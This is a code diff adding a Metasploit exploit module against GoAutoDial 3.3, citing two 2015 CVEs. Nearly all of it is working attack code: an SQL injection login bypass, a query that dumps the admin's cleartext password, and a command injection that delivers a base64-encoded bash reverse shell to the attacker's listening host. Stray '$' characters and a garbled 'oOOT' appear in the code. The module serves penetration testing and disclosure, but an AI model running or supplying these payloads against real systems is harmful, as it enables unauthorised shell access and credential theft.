Adding GoAutoDial RCE module

Author: mccurls

modules/exploits/linux/http/goautodial_3_rce_command_injection.rb

@@ -0,0 +1,142 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "GoAutoDial 3.3 Authentication Bypass",
+      'Description'    => %q{
+          This module exploits a SQL injection flaw in the login functionality
+for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with oOOT privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Chris McCurley',  # Discovery & Metasploit module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2015-2843'],
+          ['CVE', '2015-2845']
+        ],
+      'Platform'       => %w{ linux },
+      'Targets'        =>
+        [
+          ['Automatic', {}]
+        ],
+      'DefaultTarget'  => 0,
+      'Privileged'     => false,
+      'DisclosureDate' => "Apr 21 2015"))
+
+    register_options(
+      [
+        OptPort.new('RPORT', [true, 'The target port', 443]),
+        OptBool.new('SSL', [false, 'Use SSL', true])
+      ])
+  end
+
+
+  def check
+    res = check_version()
+    if res and res.body =~ /1421902800/
+      return Exploit::CheckCode::Safe
+    else
+      return Exploit::CheckCode::Vulnerable
+    end
+  end
+   $
+  def check_version()
+    send_request_cgi({
+    'method'    => 'GET',
+    'uri'       => "/changelog.txt",
+    'headers'   => {
+    'User-Agent' => 'Mozilla/5.0',
+    'Accept-Encoding' => 'identity'
+    }
+    })
+  end
+
+  def sqli_auth_bypass()
+
+    send_request_cgi({
+      'method'    => 'POST',
+      'uri'       => "/index.php/go_login/validate_credentials",
+      'headers'   =>$
+        {
+        'User-Agent' => 'Mozilla/5.0',
+        'Accept-Encoding' => 'identity'
+        },
+      'vars_post' =>$
+        {
+        'user_name'   => 'admin',
+        'user_pass'   => "' or '1'='1"
+        }
+    })
+  end
+
+  def sqli_admin_pass(cookies)
+
+   send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => "/index.php/go_site/go_get_user_info/'%20OR%20active='Y",
+      'headers'   =>$
+        {
+        'User-Agent' => 'Mozilla/5.0',
+        'Accept-Encoding' => 'identity',
+        'Cookie' => cookies
+        }
+      })
+  end
+
+  def exec_command(cookies)
+    payload = "bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1"
+    encoded = "#{Rex::Text.encode_base64(payload)}"
+    params = "||%20bash%20-c%20\"eval%20\`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
+
+    send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => "/index.php/go_site/cpanel/"+ params,
+      'headers'   => {
+      'User-Agent' => 'Mozilla/5.0',
+      'Accept-Encoding' => 'identity',
+      'Cookie' => cookies
+      }
+      })$
+  end
+
+  #
+  # Run the actual exploit
+  #
+  def run_it()
+    print_status("#{rhost}:#{rport} - Trying SQL injection...")
+    res1 = sqli_auth_bypass()
+
+    if res1 && res1.code == 200
+      print_good("Authentication Bypass (SQLi) was successful")
+    else$
+      print_error("Error: Run 'check' command to identify whether the auth bypass has been fixed")
+    end
+
+    print_status("#{rhost}:#{rport} - Dumping admin password...")
+    res = sqli_admin_pass(res1.get_cookies)
+
+    if res
+      print_good(res.body)
+    else
+      print_error("Error: No creds returned, possible mitigations in place.")
+    end
+    print_status("#{rhost}:#{rport} - Attempting reverse_tcp shell one-liner...wait for connection")
+    exec_command(res1.get_cookies)
+  end
+
+
+  def exploit()
+    run_it()
+  end
+end